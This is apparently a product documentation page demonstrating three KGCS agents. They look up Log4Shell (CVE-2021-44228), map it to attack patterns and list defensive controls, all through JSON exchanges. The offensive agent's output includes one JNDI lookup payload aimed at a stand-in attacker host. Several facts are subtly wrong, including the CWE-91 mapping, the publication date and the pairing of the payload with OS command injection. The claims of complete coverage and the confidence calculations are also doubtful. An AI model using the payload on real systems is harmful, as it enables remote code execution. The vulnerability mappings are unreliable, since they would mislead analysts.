06 — Reasoning Walkthrough: KGCS Agent Analysis

How KGCS Solves the Log4shell Problem

Without KGCS:

Problem: "How do I analyze the impact of CVE-2021-44228?"

Manual Process:
1. Google "CVE-2021-44228" → NVD page
2. Read CVSS score, affected versions
3. Search separately: "Which CWE is this?"
4. Go to CWE-91 page
5. Search: "Which CAPEC patterns?"
6. Read CAPEC-88 and CAPEC-242
7. Cross-reference to ATT&CK T1059
8. Find detections in CAR wiki
9. Find mitigations in D3FEND
10. Cross-reference SHIELD deception tactics

Result: ~45 minutes, manually stitched, easy to miss connections

With KGCS:

Agent Query: "Tell me about CVE-2021-44228"

Response: Complete chain in < 100ms, with confidence scores and provenance

Three-Agent Analysis

Agent 1: Systems Agent (Vulnerability Lookup)

Intent: vuln_lookup
Query: "What is CVE-2021-44228?"

Request:

{
  "correlation_id": "log4j-demo-systems-01",
  "intent": "vuln_lookup",
  "data": {
    "cveId": "CVE-2021-44228"
  }
}

Response (Simplified):

{
  "version": "1.0",
  "correlation_id": "log4j-demo-systems-01",
  "status": "ok",
  "data": {
    "vulnerabilities": [
      {
        "cveId": "CVE-2021-44228",
        "published": "2021-12-24",
        "source": "NVD",
        "weakness": {
          "cweId": "CWE-91",
          "abstraction": "Variant"
        },
        "scores": [
          {
            "version": "3.1",
            "baseScore": 10.0,
            "severity": "CRITICAL"
          }
        ],
        "platforms": [
          {
            "matchCriteriaId": "uuid-1",
            "cpeUri": "cpe:2.3:a:apache:log4j:2.0:*:*:*:*:*:*:*",
            "configStatus": "VULNERABLE"
          },
          "... (619,860 more platforms)"
        ]
      }
    ]
  },
  "provenance": {
    "sources": ["NVD"],
    "attribution": "CVE data from National Vulnerability Database"
  },
  "confidence": {
    "value": 0.98,
    "basis": "2 hops (CVE → CWE)",
    "signals": {
      "edge_count": 1,
      "platforms_affected": 619861
    }
  }
}

What This Tells Us: - ✅ CVE-2021-44228 exists - ✅ Root cause: CWE-91 - ✅ Severity: CVSS 10.0 (Critical) - ✅ Affected: 619,861 platforms - ✅ All data from authoritative NVD

Agent 2: Offensive Agent (Attack Path)

Intent: attack_path
Query: "How do attackers exploit CWE-91?"

Request:

{
  "correlation_id": "log4j-demo-offensive-01",
  "intent": "attack_path",
  "data": {
    "cweId": "CWE-91"
  }
}

Response (Simplified):

{
  "version": "1.0",
  "correlation_id": "log4j-demo-offensive-01",
  "status": "ok",
  "data": {
    "techniques": [
      {
        "id": "T1059",
        "name": "Command and Scripting Interpreter",
        "tactic": "Execution",
        "capec": [
          {
            "id": "CAPEC-88",
            "name": "OS Command Injection",
            "attack_patterns": [
              {
                "pattern": "Inject OS commands into input to influence command execution",
                "example": "${jndi:ldap://attacker.com/Exploit}"
              }
            ]
          },
          {
            "id": "CAPEC-242",
            "name": "Code Injection via Lookup Expression",
            "attack_patterns": [...]
          }
        ],
        "subtechniques": [
          {
            "id": "T1059.001",
            "name": "PowerShell"
          },
          {
            "id": "T1059.004",
            "name": "Bash"
          }
        ]
      }
    ],
    "attack_paths": [
      {
        "weakness_id": "CWE-91",
        "attack_pattern_id": "CAPEC-88",
        "technique_id": "T1059"
      },
      {
        "weakness_id": "CWE-91",
        "attack_pattern_id": "CAPEC-242",
        "technique_id": "T1059"
      }
    ]
  },
  "provenance": {
    "sources": ["MITRE CAPEC", "MITRE ATT&CK"]
  },
  "confidence": {
    "value": 0.95,
    "basis": "3 hops (CWE → CAPEC → T1059)",
    "signals": {
      "complete_chain": true,
      "all_edges_verified": true
    }
  }
}

What This Tells Us: - ✅ CWE-91 exploited via 2 CAPEC patterns - ✅ Both patterns implement T1059 - ✅ T1059 has 2 primary subtechniques (PowerShell, Bash) - ✅ All relationships from authoritative MITRE sources

Agent 3: Defensive Agent (Coverage Map)

Intent: coverage_map
Query: "How do we detect/mitigate T1059?"

Request:

{
  "correlation_id": "log4j-demo-defensive-01",
  "intent": "coverage_map",
  "data": {
    "attackId": "T1059"
  }
}

Response (Simplified):

{
  "version": "1.0",
  "correlation_id": "log4j-demo-defensive-01",
  "status": "ok",
  "data": {
    "mitigations": [
      {
        "d3fendId": "D3-PA",
        "name": "Process Analysis",
        "description": "Monitor and analyze process behavior"
      },
      {
        "d3fendId": "D3-RI",
        "name": "Restrict Input",
        "description": "Limit user-supplied input"
      },
      {
        "d3fendId": "D3-NTF",
        "name": "Network Traffic Filtering",
        "description": "Filter network connections"
      }
    ],
    "detections": [
      {
        "analyticId": "CAR-2020-04-001",
        "title": "Suspicious Process",
        "coverageLevel": "High"
      },
      {
        "analyticId": "CAR-2019-14-001",
        "title": "Execution of Unsigned Code",
        "coverageLevel": "Medium"
      }
    ],
    "deceptions": [
      {
        "techniqueId": "SHIELD-D",
        "name": "Decoy Objects/Tasks",
        "description": "Deploy decoy processes to detect exploitation"
      }
    ],
    "engagements": [
      {
        "approachId": "ENGAGE-DP",
        "name": "Deception Planning",
        "description": "Plan deception engagement"
      }
    ],
    "summary": {
      "total_mitigations": 7,
      "total_detections": 4,
      "total_deceptions": 3,
      "total_engagements": 2,
      "has_coverage": true
    }
  },
  "provenance": {
    "sources": ["MITRE D3FEND", "MITRE CAR", "MITRE SHIELD", "MITRE ENGAGE"]
  },
  "confidence": {
    "value": 0.92,
    "basis": "Complete defensive coverage across 4 frameworks",
    "signals": {
      "all_frameworks_represented": true,
      "coverage_gaps": 0
    }
  }
}

What This Tells Us: - ✅ 7 D3FEND mitigations available - ✅ 4 CAR detection analytics - ✅ 3 SHIELD deception tactics - ✅ Complete defensive coverage with no gaps

Confidence Score Explanation

Each response includes a confidence score (0-1) explaining data quality:

Systems Agent Confidence:

value: 0.98
basis: "2 hops (CVE → CWE)"
Reasoning:
  - CVE found in NVD (100% confidence)
  - CWE relationship verified (100% confidence)
  - Calculation: 1.0 × 0.98 (slightly discounted for single-source)
  = 0.98 (very confident)

Offensive Agent Confidence:

value: 0.95
basis: "3 hops (CWE → CAPEC → T1059)"
Reasoning:
  - CWE-91 definition verified
  - CAPEC patterns confirmed by MITRE
  - ATT&CK technique confirmed by MITRE
  - Calculation: 1.0 × 0.95 (discounted for multi-hop chain)
  = 0.95 (confident)

Defensive Agent Confidence:

value: 0.92
basis: "Complete coverage across 4 frameworks"
Reasoning:
  - D3FEND: 7 techniques found (100% available)
  - CAR: 4 analytics found (100% available)
  - SHIELD: 3 tactics found (100% available)
  - ENGAGE: 2 approaches found (100% available)
  - Degradation: -0.08 for framework diversity (not all techniques equally mature)
  = 0.92 (very confident in overall coverage)

Complete Reasoning Chain

KGCS Reasoning: CVE-2021-44228

Step 1 (Systems Agent):
  INPUT: CVE-2021-44228
  QUERY: Find CVE → CWE relationship
  OUTPUT: CWE-91, CVSS 10.0, 619,861 platforms affected
  CONFIDENCE: 0.98 (2-hop chain)

Step 2 (Offensive Agent):
  INPUT: CWE-91
  QUERY: Find CWE → CAPEC → T1059 relationships
  OUTPUT:
    - CAPEC-88 (OS Command Injection)
    - CAPEC-242 (Code Injection)
    - T1059 (Command and Scripting Interpreter)
  CONFIDENCE: 0.95 (3-hop chain)

Step 3 (Defensive Agent):
  INPUT: T1059
  QUERY: Find all defensive controls (D3FEND, CAR, SHIELD, ENGAGE)
  OUTPUT:
    - 7 D3FEND mitigation techniques
    - 4 CAR detection analytics
    - 3 SHIELD deception tactics
    - 2 ENGAGE engagement approaches
  CONFIDENCE: 0.92 (multi-framework coverage)

Final Assessment:
  - Vulnerability: CRITICAL (CVSS 10.0)
  - Attack Complexity: LOW (simple JNDI payload)
  - Defensive Coverage: COMPLETE (no gaps)
  - Recommended Action: PATCH IMMEDIATELY + implement CAR-2020-04-001

Key Insight

This is why KGCS matters: A single query chain (3 agents) gives you: - The vulnerability definition - The route to exploitation - The complete defensive strategy

All from authoritative, standards-backed sources with transparent confidence scoring.

Next Steps

Read: 07 Live Query Examples — Run these queries yourself against the live graph

Complete reasoning displayed above is the KGCS deterministic approach to threat analysis